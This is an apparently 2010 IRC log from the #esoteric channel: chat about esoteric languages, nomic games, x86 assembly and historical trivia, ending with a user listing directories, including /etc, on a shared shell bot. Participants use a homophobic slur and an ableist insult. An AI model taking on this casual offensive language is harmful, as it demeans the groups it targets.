1267524139 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :You know what? I've yet to see a BF derivative implement C-compliant functions with stack support. < 1267524143 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Maybe Crainfuck. < 1267524191 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :I have seen that < 1267524206 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :you just host brainfuck inside C < 1267524222 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I think LLVM -> BF would be the crowning moment in esoteric glory. < 1267524224 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :then you can use whichever is most appropriate for the task < 1267524436 0 :dev_squid!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1267525666 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :jesus fucking christ < 1267525674 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :hi augur < 1267525675 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :wipeout fusion's tethys league is impossible < 1267525687 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :are you feeling wiped out by it? < 1267525709 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :im feeling pissed is what im feeling < 1267525718 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i feel like the computer is cheating < 1267525813 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :you have turned me into jesus < 1267526421 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :what XD < 1267526513 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric ::) < 1267526641 0 :Gregor!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1267528117 0 :alise!~alise@95.145.65.10 JOIN :#esoteric < 1267528236 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Bleh. I'm all uncomfortable. < 1267528272 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: "If it's Normish-related, abandon it" -- uorygl < 1267528284 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :sure am glad I didn't rely on it for anything serious :^) < 1267528286 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :ugh < 1267528305 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :01:13:44 days are now 1.26 µs shorter than they were before < 1267528305 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :01:14:42 And that tsunami quake few years ago shortened them by 6.8 µs. (I happened to be reading the same bit of news at the same time.) < 1267528305 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :wow < 1267528307 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and I operate under the assumption that Normish is likely to go offline at any moment < 1267528318 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :20:40:40 What's your important project? < 1267528318 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :20:41:01 It's "classified" < 1267528318 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :20:41:05 Oh. < 1267528319 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :20:41:13 Which means I've been talking about it here incessantly < 1267528319 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :20:41:46 lol < 1267528319 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :20:41:50 If it's Normish-related, abandon it and join #sxmc so you can help me with my... also classified project. < 1267528322 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So it's not quite Normish-is-over. < 1267528328 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But it's obviously I-have-a-shiny-new-project-now-Normish-sux. < 1267528349 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :normish, in the end, effectively became a server for helping with nomic things < 1267528356 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :it hosts loggic and blognomicbot, for instance < 1267528374 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :over ten years the difference in earth's rotation < 1267528377 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :we'll have lost 0.08ms < 1267528404 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :blognomicbot? < 1267528418 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: a bot that hangs out in BlogNomic's IRC channel < 1267528423 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Doing? < 1267528438 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :mostly for doing ChanServ duties when ChanServ goes insane, but it also counts votes, and copies the topic and user list to the blognomic server < 1267528476 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :also, prevents the channel being dropped due to lack of active ops) < 1267528479 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :s/\)// < 1267528507 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :counts votes on what? like !voteon Excellence mogriband? < 1267528530 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :also, as you know the entirety of my current situation - do you think it's irresponsible to reregister for Agora? As in, for who-knows-what-will-happen reasons. < 1267528545 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I find it quite likely that the unit is not over yet. < 1267528570 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: once a week should probably be enough, although it's not quick enough to catch without-objection < 1267528585 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :however, given that contracts were repealed, you can normally rely on someone else to object for you < 1267528599 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Ah, I just meant as in neglecting any obligations or whatever < 1267528612 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :you can avoid taking on obligations that you can't fulfil easily enough < 1267528629 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I don't particularly want to play if I'm still fighting the unit, so I'd probably inactivate if it starts again. < 1267528632 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Is the point. < 1267528677 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :it's pretty quiet atm < 1267528696 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :we repealed most of the interesting rules, presumably this would be a good time to create more < 1267528711 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :although there's been an intriguing discussion about whether the IBA still exists, given that contracts have been repealed < 1267528724 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Well, if there's nothing interesting to do... < 1267528749 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :What's RtRW? < 1267528786 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :read the ruleset week, first week of february < 1267528819 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1267528825 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION sees a genius idea on reddit
< 1267528834 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :if a government has national debt, they should just bail themselves out < 1267528844 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :o_o < 1267528851 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1267528895 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and charge interest! < 1267529109 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :has agora been without contracts before? < 1267529114 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'm pretty sure they've been around for almost all time... < 1267529120 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(that is, after their first introduction) < 1267529194 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :no idea; I wonder if they were continuously there between the whole SLC mess (years ago) and modern contracts? < 1267529388 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :SLC mess? Haven't heard of that one. < 1267529398 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: Regardless, I doubt it's been without them for more than weeks before. < 1267529404 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :They've been the backbone of Agora for how long? < 1267529420 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :the power system has been the backbone ever since it was invented < 1267529430 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :contracts have just been a fun thing to mess around with < 1267529433 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Nah, that's just a safeguard. < 1267529441 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The actual non-nomic gameplay, I mean. < 1267529446 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(Most people like that stuff.) < 1267529887 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: Logicnomic! < 1267529894 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You win if you prove a contradiction. < 1267529914 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Formallogicnomic, I should say. < 1267529928 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :thus proving the entire ruleset inconsistent? < 1267529945 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :exactly (but there's a metaruleset that says that the game restarts in a certain way after) < 1267529955 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :presumably with the contradiction eliminated somehow < 1267530082 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :meh, just have it end after someone wins < 1267530086 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :some nomics have actually ended like that < 1267530091 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :then you can start a new one < 1267530103 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :hmm... /me wonders at lea being used for addition < 1267530106 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but everyone would be trying to subtly introduce contradictions all the time < 1267530110 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :it makes sense on some level, but not on another level < 1267530112 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so i imagine the turnover would be quite high < 1267530498 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Given that x86's add (and so many other ops) have the target register fixed to be one of the operands, the popularity of some lea-trickery is not very surprising. < 1267530537 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :it's more a case of, why have two addition instructions which use utterly different syntax? < 1267530610 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Yes, I guess it only makes sense if you think about it on the implementation level. (Where you have this pile of logic ready for all kinds of addressing modes, and it's easy to make an instruction that just reads the computed address into a register.) < 1267530822 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :gcc-bf, incidentally, uses lea for pointer computations and add for integer computations < 1267530832 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :pointers and integers are stored utterly different ways, so it makes sense to have two commands < 1267530897 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Your "hardware" there is a bit on the strange side, though. < 1267531089 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :On x86-64 you "need" lea to turn IP-relative offsets into real pointers (if you need to pass it to somewhere, for example), since you can't add the RIP register normally -- it's not general-purpose enough -- but you can LEA reg, [rel offset]. < 1267531388 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :alise < 1267531391 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :http://www.inc.com/magazine/20100301/lets-take-this-offline.html < 1267531424 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Joel Spolsky? My bullshit filter just turned up to maximum while the page is loading. < 1267531476 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :503 Service Temporarily Unavailable < 1267531506 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Loaded now. < 1267531518 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Blogging is holding you back? Excellent! Less shit for me to ignore. < 1267531565 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :wow, I've never seen a picture of Joel Spolsky before < 1267531569 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :I didn't realise he looked so smug < 1267531572 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Blog blog you startup masturbate you rock blog huh??? you're WRONGGG nobody cares (oh the irony) BLOG PROPER SHITTERS not worth it lol too much work it's the OVERRRRRRRRRRRR < 1267531581 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :^ summary < 1267531602 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The only thing worse than a Joel Spolsky is a Joel Spolsky & Jeff Atwood. < 1267531609 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(Which is also the only thing worse than a Jeff Atwood.) < 1267531618 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Okay, okay, maybe Spolsky is /marginally/ better than Atwood. < 1267531619 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :which of spolsky & attwood is the one that's at least half-competent? < 1267531626 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Spolsky. Atwood is the codinghorror dude. < 1267531681 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :lol wut, apparently north and south korea are still technically at war and have been since 1950 < 1267531736 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :he looks retarded < 1267531756 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :I don't mean that in a nasty way just that normal people don't smile in that way < 1267531801 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: they still have weapons pointed at each other < 1267531805 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :I thought it was amusing that he blogged about quitting blogging, and that he gave some tips on how to write a good blog, one of which was: Give tips on how to do X rather than just announcing some event/product/whatever < 1267531811 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :the issue is, neither dares fire, because then the other would fire and they'd both be wiped out < 1267531814 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :wow MissPiggy u r mean < 1267531833 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: yeah but i mean they never actually got around to ending the korean war after stopping all those killing dealies :P < 1267531853 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :they're still at war, it's just a cold war now < 1267531866 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Is it the same war as the Korean War, though? < 1267531874 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :apparently, the south koreans have been dropping informative pamphlets over north korea < 1267531892 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and the north koreans mostly don't pick them up because the propaganda machine has convinced many of them their hands will drop off if they try < 1267531925 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::-D < 1267531931 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :Joel Spolsky is the Nickelback of computing. < 1267531939 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Kim Jong-il is hilarious < 1267531955 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(If I didn't consider it the best comedy ever created I'd just be depressed) < 1267531962 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I am /convinced/ they are filming all this < 1267531968 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :For surveillance? No, for syndication! < 1267531984 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :There's a bit related but not the same extended-war list at http://en.wikipedia.org/wiki/List_of_wars_extended_by_diplomatic_irregularity < 1267532000 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :431 BC 404 BC 1994 < 1267532002 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :now /that/ is impressive < 1267532013 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :1994? This. Is. SPARTA! < 1267532062 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :that first one is ridiculous < 1267532066 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and possibly not even true < 1267532088 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Shut up! I want to believe it! < 1267532110 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :335 years for the Dutch Republic vs. the Isles of Scilly is still impressive, though < 1267532114 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and presumably that one's verifiable < 1267532132 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :The second one is almost equally ridiculous and even has a citation -- did not check what sort of. < 1267532145 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :^ Saudi Aramco World, (bottom of page) < 1267532148 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://www.saudiaramcoworld.com/issue/198503/delenda.est.carthago.htm < 1267532150 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Some magazine < 1267532156 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :When Carthage and Rome finally signed a peace treaty - in February 1985 - Ugo Vetere, the mayor of Rome, seemed deeply moved by the still existing traces of the catastrophe at Carthage - which he described as "blackened by fire." The catastrophe, he said, "... should be regarded, not just with curiosity, or with a love for archeology, but... with the eyes of those who wish for and... work for peace today." < 1267532175 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Furthermore, it is my opinion that Carthage must be destroyed. < 1267532187 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :also, allegedly one of the peace treaties for the World War was typed backwards < 1267532192 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :what < 1267532193 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :due to an accident with putting in carbon paper in the dark < 1267532196 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and nobody noticed at the time < 1267532203 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :didn't they ... read it? < 1267532207 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :so it ended up being typed on the back of the sheet of paper < 1267532212 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: I'm not sure I believe it myself < 1267532214 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1267532225 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :the urban legend goes that it was dark at the time, and so nobody saw it until later < 1267532245 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"At the time World War II was declared over, there was no single German state that all occupying powers accepted as being the sole representative of the former Reich. Therefore the war technically did not finish until the country was reunified." < 1267532291 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Andorra vs German Empire World War I 1914 1918 1958[6] Andorra was not invited to the Treaty of Versailles. < 1267532294 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Fuck you, Andorra < 1267532306 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"Montenegro declared war in support of Russia but this was merely a gesture as Montenegro lacked a navy or any other means to engage Japan." < 1267532308 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1267532362 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :[[Nevertheless, reportedly in 1966 a Soviet official waited upon the Mayor of Berwick, Councillor Robert Knox, and a peace treaty was formally signed. Knox is reputed to have said "Please tell the Russian people that they can sleep peacefully in their beds."]] < 1267532380 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: that's also apparently a rumour; at least, snopes.com tried to find evidence of that but couldn't < 1267532383 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :it's a fun story though < 1267532385 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :[[To complicate the issue, some have noted that Knox did not have any authority with regard to foreign relations, and thus may have exceeded his powers as mayor in concluding a peace treaty.]] < 1267532386 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AAAAAAAAAAAAAAAAAAAAAAAAA < 1267532396 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: the whole signing, or the saying? < 1267532414 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :both, IIRC < 1267532505 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 248 seconds < 1267532512 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :aw < 1267532787 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :I can't find any references to that backwards-treaty thing on Wikipedia or Snopes, not even as debunked rumours < 1267532792 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :so I have no idea where I heard it from < 1267532918 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :hey i have an idea for an esolang < 1267532952 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :here it is: basically everything you type is either pushed onto a stack or applied to a stack, so 1 1 + would push 1 then 1 then apply + and everything follows these rules < 1267532956 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :IS THIS A GOOD IDEA? < 1267533015 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: concatenative langs! < 1267533020 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :yes, it is < 1267533028 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :http://esolangs.org/wiki/Underload is a bit like that < 1267533040 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :which was my attempt to reduce concatenativeness to a tarpit < 1267533051 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and there are some "real" languages which work like that too < 1267533065 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :See: Joy, Factor, ("almost" Forth) Cat, Underload, ... < 1267533084 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Congratulations: you're intelligent enough to independently invent concatenative languages. < 1267533100 0 :BeholdMyGlory!~behold@unaffiliated/beholdmyglory JOIN :#esoteric < 1267533138 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://en.wikipedia.org/wiki/Kim_Il-sung_University I'm surprised this even _exists_ < 1267533161 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and wtf do they teach in history? Or philosophy? Government? Economics? Law? :P < 1267533172 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I wonder how much of their sciences just happen to /conveniently/ tie in with Juche... < 1267533181 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :scarf: I was kidding < 1267533187 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :it's pretty much the worst idea ever < 1267533196 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :why? < 1267533199 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :idk < 1267533207 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :you can even do control flow like that < 1267533210 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Strong intellectual bent in this one I see < 1267533217 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Only if you have quotations < 1267533224 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :well, yes < 1267533225 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :like fagtor does < 1267533230 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"Fagtor". < 1267533233 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Wow, just go away now. < 1267533235 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Factor* < 1267533242 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Oh come on, that was clearly intentional < 1267533243 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :actually, I think alise invented a variation which didn't need them directly < 1267533249 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: Well, with your help. < 1267533257 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :alise: Hey, I've been to slava's house before < 1267533260 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I formulated the language, you proved that it was equivalent (ignoring IO). < 1267533266 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :and did some bignum stuff for factor < 1267533269 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :so don't be hatin' < 1267533278 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :then he moved to NZ < 1267533307 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :with his gigantic pile of profit from Factor < 1267533327 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :^ul (!())(~(:)~*(*)*:(*)~^S~(/)S:^):^ < 1267533327 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :*/**/***/****/*****/******/*******/********/*********/**********/***********/************/*************/**************/***************/****************/*****************/******************/*******************/********************/*********************/**********************/***********************/************************/ ...too much output! < 1267533335 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and I just wrote that off the top of my head < 1267533351 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :alise: His profit seemed to be spent on large mac displays and stuff < 1267533359 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Don't forget the Mac Pro. < 1267533360 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :and macbooks < 1267533365 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1267533371 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I doubt he actually profits from Factor though :P < 1267533376 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :I doubt it too < 1267533381 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :his place was pretty dumpy < 1267533400 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :but he makes good блины < 1267533406 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :wonder what his day jorb is < 1267533425 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: you could have just said "pancakes" < 1267533435 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :even though I can type google.com/translate_t in about 0.5 seconds by now < 1267533458 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :alise: No < 1267533462 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :They are not the same < 1267533481 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :It is a rough /American/ translation but they are not at all the same < 1267533567 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: have you been here before under another nick? < 1267533613 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :alise: No < 1267533620 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ok, under the same nick? < 1267533622 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I vaguely recognise you < 1267533678 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Same nick < 1267533688 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :You might have seen me in other channels < 1267533693 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :scarf: it's 6:30 AM < 1267533694 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :hmm... maybe... how long ago? < 1267533699 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :alise: I don't know. < 1267533703 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :no, it's 12:41 am < 1267533709 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :[06:38.01] * Received a CTCP TIME from scarf < 1267533731 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :your clock is 3 minutes slow, unless you're in a UTC-6:03 timezone < 1267533740 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::-D < 1267533774 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :It is indeed 3 minutes slow < 1267534164 0 :augur!~augur@129-2-175-79.wireless.umd.edu JOIN :#esoteric < 1267534207 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :good morning augur < 1267534215 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :moin < 1267534285 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Technical discussion about antelopes. < 1267535383 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :The ant elopes with his fellow queen. < 1267536719 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :#usys sure is lonely < 1267536725 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :<_< >_> < 1267536814 0 :asiekierka!asiekierka@078088180066.elblag.vectranet.pl JOIN :#esoteric < 1267536815 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :hi alise < 1267536820 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :hmm, what should i destroy today < 1267536820 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Hi. < 1267536820 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`ls < 1267536825 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Yourself. < 1267536825 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1267536826 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :i said < 1267536827 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`run ls < 1267536827 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :bin \ cube2.base64 \ cube2.jpg \ help.txt \ huh \ paste \ poetry.txt \ quotes \ share \ test.sh \ tmpdir.15927 < 1267536829 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :bin \ cube2.base64 \ cube2.jpg \ help.txt \ huh \ paste \ poetry.txt \ quotes \ share \ test.sh \ tmpdir.15957 < 1267536831 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :there we go < 1267536837 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`./test.sh < 1267536838 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267536853 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`ls < 1267536854 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :bin \ cube2.base64 \ cube2.jpg \ help.txt \ huh \ paste \ poetry.txt \ quotes \ share \ test.sh \ tmpdir.16082 < 1267536873 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`cd / && ls < 1267536874 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267536880 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`run cd / && ls < 1267536880 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :bin \ dev \ etc \ home \ lib \ lib64 \ proc \ tmp \ usr < 1267536889 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`run cd /etc && ls < 1267536890 